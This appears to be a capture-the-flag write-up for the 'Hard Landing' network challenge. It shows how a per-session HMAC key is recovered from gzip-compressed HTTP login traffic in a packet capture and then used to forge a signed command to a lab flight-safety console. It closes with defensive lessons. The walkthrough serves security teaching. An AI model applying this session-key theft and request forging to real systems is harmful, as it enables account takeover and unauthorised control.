Skip to content
Adam Omar Saleh

Chronos Security logo, as used by CSCTF 2026CSCTF 2026Network

Hard Landing

The console talks plain HTTP. Command auth is a per-session HMAC-SHA256 over a canonical string, and the login response hands back the per-session HMAC key in clear text (only gzip-compressed).

Competition
Chronos Security logo, as used by CSCTF 2026CSCTF 2026
Category
NetworkEasy
Source status
Source-documented · not platform-verified
Document
PDF edition3 min read

Brief

The challenge

Category
Network
Difficulty
Easy
Points
120
Files
console.pcapng, console_access.log, ops_notes.txt
Target
http://w03.ctf.chronos-security.ro:<port> (Sentinel flight-safety console)

A flight-safety console accepted destructive commands from a workstation its administrator never used. New logins are disabled, but the exposed administrator session is still live. Recover the administrator's session material, then issue the documented safe recovery command with a fresh valid signature.

TL;DR

The console talks plain HTTP. Command auth is a per-session HMAC-SHA256 over a canonical string, and the login response hands back the per-session HMAC key in clear text (only gzip-compressed). The capture contains the administrator's login, so pull the gzip blob, read the 64-hex key, and re-sign the documented RETURN_TO_PAD recovery command with a current timestamp. The live console returns the recovery code.

Text
pcap → gunzip admin /api/login response → key (64 hex)→ HMAC-SHA256 over "POST\n/api/command\n<ts>\n<body>" → POST /api/command → flag

01

Recon

ops_notes.txt says the console (192.0.2.20) used HTTP without TLS, command auth is "session-bound HMAC-SHA256 with a short server-time freshness window", and the administrator session was replayed from workstation 192.0.2.14. console_access.log shows the hijacked session adm-2aca3785b702d3ef824b9cb8 issuing DISABLE_SAFETY_LINK, DIVERT_FROM_CORRIDOR, SUPPRESS_RECOVERY from .14.

The unauthenticated status endpoint documents exactly what a valid command looks like:

Text
GET /api/status →  POST /api/command  headers: X-Session, X-Timestamp (Unix seconds), X-Signature (64 lowercase hex)  canonical: "POST\n/api/command\n<X-Timestamp>\n<BODY>"  hmac: HMAC-SHA256; decode the login JSON's 64 lowercase hex key to 32 bytes  body: {"cmd":"RETURN_TO_PAD","pad":"A1"}  freshness_seconds: 300   (+ a live server_time)

So I need the administrator session's HMAC key.

02

Recovering the session material

In console.pcapng the /api/login responses carry Content-Encoding: gzip, so the key isn't visible as plain text — it's inside a gzip blob. Scanning the capture for gzip magic (1f 8b 08) and inflating:

Text
{"session":"ops-131bc07f5023dcfd329e80cd","key":"131bc07f...","role":"operator"}{"session":"adm-2aca3785b702d3ef824b9cb8","key":"2aca3785b702d3ef824b9cb870481e04e1179b09172a1f9da3710e6bb2a759f1","role":"administrator"}

The administrator's per-session key:

Text
2aca3785b702d3ef824b9cb870481e04e1179b09172a1f9da3710e6bb2a759f1

03

Verifying the signing scheme

Reproduce a captured admin request before forging. For the captured STATUS command (X-Timestamp: 1789644128, body {"cmd":"STATUS","aircraft":"N17"}):

Python
sig = HMAC_SHA256( bytes.fromhex(key), "POST\n/api/command\n1789644128\n{\"cmd\":\"STATUS\",\"aircraft\":\"N17\"}" )    = e1794c7c3dfe6634c17d8d0a16edd8dbe43523ef7a5f6d838fc2ae86cacb6375   ✓ (matches the pcap)

Note the canonical string binds only method, path, timestamp and body — not the session id — but the server selects the key from X-Session, so the signature is still session-bound.

04

Issuing the safe recovery command

Fetch the live server_time, sign the documented body with a current timestamp (inside the 300 s window), and POST it:

Text
POST /api/commandX-Session:   adm-2aca3785b702d3ef824b9cb8X-Timestamp: <server_time>X-Signature: HMAC-SHA256(key, "POST\n/api/command\n<ts>\n{\"cmd\":\"RETURN_TO_PAD\",\"pad\":\"A1\"}")Content-Type: application/json​{"cmd":"RETURN_TO_PAD","pad":"A1"}

Response:

JSON
{"status":"aircraft returned to pad A1","recovery_receipt":"CSCTF{CBsBm5T7cYW9yymYIjQ2MlPa}"}

Flag

Flag

CSCTF{CBsBm5T7cYW9yymYIjQ2MlPa}

Source-documented · not platform-verified

Solve script

solve.py verifies the scheme against a captured request, then fetches server_time, signs RETURN_TO_PAD, and sends it.

Takeaways

  • HTTP without TLS leaks everything, including the per-session HMAC key — gzip is encoding, not encryption.

  • An HMAC key handed to the client is a shared secret: whoever captures the login can mint fresh, valid signatures for the whole session lifetime.

  • Revoke exposed sessions during lockdown; disabling new logins does nothing for a session whose key is already on the wire.

PDF edition

Writeup PDF

Formatted edition of this walkthrough, built from my source notes · 4 pages.